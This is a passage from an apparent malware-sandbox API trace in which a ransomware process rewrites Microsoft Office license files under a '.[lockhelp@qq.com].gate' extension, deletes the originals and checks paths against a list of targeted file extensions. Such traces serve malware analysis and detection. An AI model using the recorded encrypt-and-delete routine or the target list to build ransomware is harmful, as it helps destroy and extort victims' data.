office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0315.830] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.830] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468 [0315.831] GetLastError () returned 0x0 [0315.831] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2d59, lpOverlapped=0x0) returned 1 [0315.928] WriteFile (in: hFile=0x468, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2d60, lpOverlapped=0x0) returned 1 [0315.928] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.928] WriteFile (in: hFile=0x468, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x114, lpOverlapped=0x0) returned 1 [0315.929] SetEndOfFile (hFile=0x468) returned 1 [0315.932] CloseHandle (hObject=0x468) returned 1 [0315.937] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.937] SetEndOfFile (hFile=0x528) returned 1 [0315.987] CloseHandle (hObject=0x528) returned 1 [0315.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.012] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0316.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0316.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0316.013] lstrlenW (lpString=".doc") returned 4 [0316.013] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString=".docx") returned 5 [0316.013] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.013] lstrlenW (lpString=".pdf") returned 4 [0316.013] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString=".xls") returned 4 [0316.013] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString=".xlsx") returned 5 [0316.013] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.013] lstrlenW (lpString=".ppt") returned 4 [0316.013] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0316.013] lstrlenW (lpString=".zip") returned 4 [0316.013] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString=".rar") returned 4 [0316.013] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString=".bz2") returned 4 [0316.013] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString=".7z") returned 3 [0316.013] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0316.013] lstrlenW (lpString=".dbf") returned 4 [0316.013] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0316.013] lstrlenW (lpString=".1cd") returned 4 [0316.013] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0316.013] lstrlenW (lpString=".jpg") returned 4 [0316.013] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.014] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11219) returned 1 [0316.014] CloseHandle (hObject=0x4b4) returned 1 [0316.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0316.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0316.014] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.014] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.015] GetLastError () returned 0x0 [0316.015] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0316.052] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2be0, lpOverlapped=0x0) returned 1 [0316.053] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.053] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x128, lpOverlapped=0x0) returned 1 [0316.053] SetEndOfFile (hFile=0x4f4) returned 1 [0316.053] CloseHandle (hObject=0x4f4) returned 1 [0316.053] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.053] SetEndOfFile (hFile=0x4b4) returned 1 [0316.056] CloseHandle (hObject=0x4b4) returned 1 [0316.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0316.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0316.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0316.061] lstrlenW (lpString=".doc") returned 4 [0316.061] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.061] lstrlenW (lpString=".docx") returned 5 [0316.062] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.062] lstrlenW (lpString=".pdf") returned 4 [0316.062] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString=".xls") returned 4 [0316.062] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString=".xlsx") returned 5 [0316.062] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.062] lstrlenW (lpString=".ppt") returned 4 [0316.062] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0316.062] lstrlenW (lpString=".zip") returned 4 [0316.062] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString=".rar") returned 4 [0316.062] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString=".bz2") returned 4 [0316.062] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString=".7z") returned 3 [0316.062] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0316.062] lstrlenW (lpString=".dbf") returned 4 [0316.062] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0316.062] lstrlenW (lpString=".1cd") returned 4 [0316.062] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0316.062] lstrlenW (lpString=".jpg") returned 4 [0316.062] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.063] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=21917) returned 1 [0316.063] CloseHandle (hObject=0x4b4) returned 1 [0316.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220 [0316.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0316.063] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.063] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.064] GetLastError () returned 0x0 [0316.064] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x559d, lpOverlapped=0x0) returned 1 [0316.176] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x55a0, lpOverlapped=0x0) returned 1 [0316.177] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.178] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x118, lpOverlapped=0x0) returned 1 [0316.178] SetEndOfFile (hFile=0x4f4) returned 1 [0316.178] CloseHandle (hObject=0x4f4) returned 1 [0316.178] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.178] SetEndOfFile (hFile=0x4b4) returned 1 [0316.181] CloseHandle (hObject=0x4b4) returned 1 [0316.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1 [0316.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0316.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0316.182] lstrlenW (lpString=".doc") returned 4 [0316.182] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.182] lstrlenW (lpString=".docx") returned 5 [0316.182] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.182] lstrlenW (lpString=".pdf") returned 4 [0316.182] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString=".xls") returned 4 [0316.183] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString=".xlsx") returned 5 [0316.183] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.183] lstrlenW (lpString=".ppt") returned 4 [0316.183] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0316.183] lstrlenW (lpString=".zip") returned 4 [0316.183] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString=".rar") returned 4 [0316.183] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString=".bz2") returned 4 [0316.183] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString=".7z") returned 3 [0316.183] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0316.183] lstrlenW (lpString=".dbf") returned 4 [0316.183] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0316.183] lstrlenW (lpString=".1cd") returned 4 [0316.183] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84 [0316.183] lstrlenW (lpString=".jpg") returned 4 [0316.183] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.184] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=19982) returned 1 [0316.184] CloseHandle (hObject=0x4b4) returned 1 [0316.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0316.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0316.184] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.184] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.185] GetLastError () returned 0x0 [0316.185] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0316.370] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4e10, lpOverlapped=0x0) returned 1 [0316.371] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.371] WriteFile (in: hFile=0x4f4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x124, lpOverlapped=0x0) returned 1 [0316.372] SetEndOfFile (hFile=0x4f4) returned 1 [0316.372] CloseHandle (hObject=0x4f4) returned 1 [0316.372] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.372] SetEndOfFile (hFile=0x4b4) returned 1 [0316.374] CloseHandle (hObject=0x4b4) returned 1 [0316.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1 [0316.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0316.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0316.375] lstrlenW (lpString=".doc") returned 4 [0316.375] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.375] lstrlenW (lpString=".docx") returned 5 [0316.375] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.375] lstrlenW (lpString=".pdf") returned 4 [0316.375] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.375] lstrlenW (lpString=".xls") returned 4 [0316.375] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.375] lstrlenW (lpString=".xlsx") returned 5 [0316.375] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.375] lstrlenW (lpString=".ppt") returned 4 [0316.376] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0316.376] lstrlenW (lpString=".zip") returned 4 [0316.376] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.376] lstrlenW (lpString=".rar") returned 4 [0316.376] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.376] lstrlenW (lpString=".bz2") returned 4 [0316.376] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.376] lstrlenW (lpString=".7z") returned 3 [0316.376] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0316.376] lstrlenW (lpString=".dbf") returned 4 [0316.376] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0316.376] lstrlenW (lpString=".1cd") returned 4 [0316.376] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90 [0316.376] lstrlenW (lpString=".jpg") returned 4 [0316.376] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.376] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10663) returned 1 [0316.376] CloseHandle (hObject=0x4b4) returned 1 [0316.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0316.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0316.377] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.377] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.378] GetLastError () returned 0x0 [0316.378] ReadFile (in: hFile=0x4b4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x29a7, lpOverlapped=0x0) returned 1 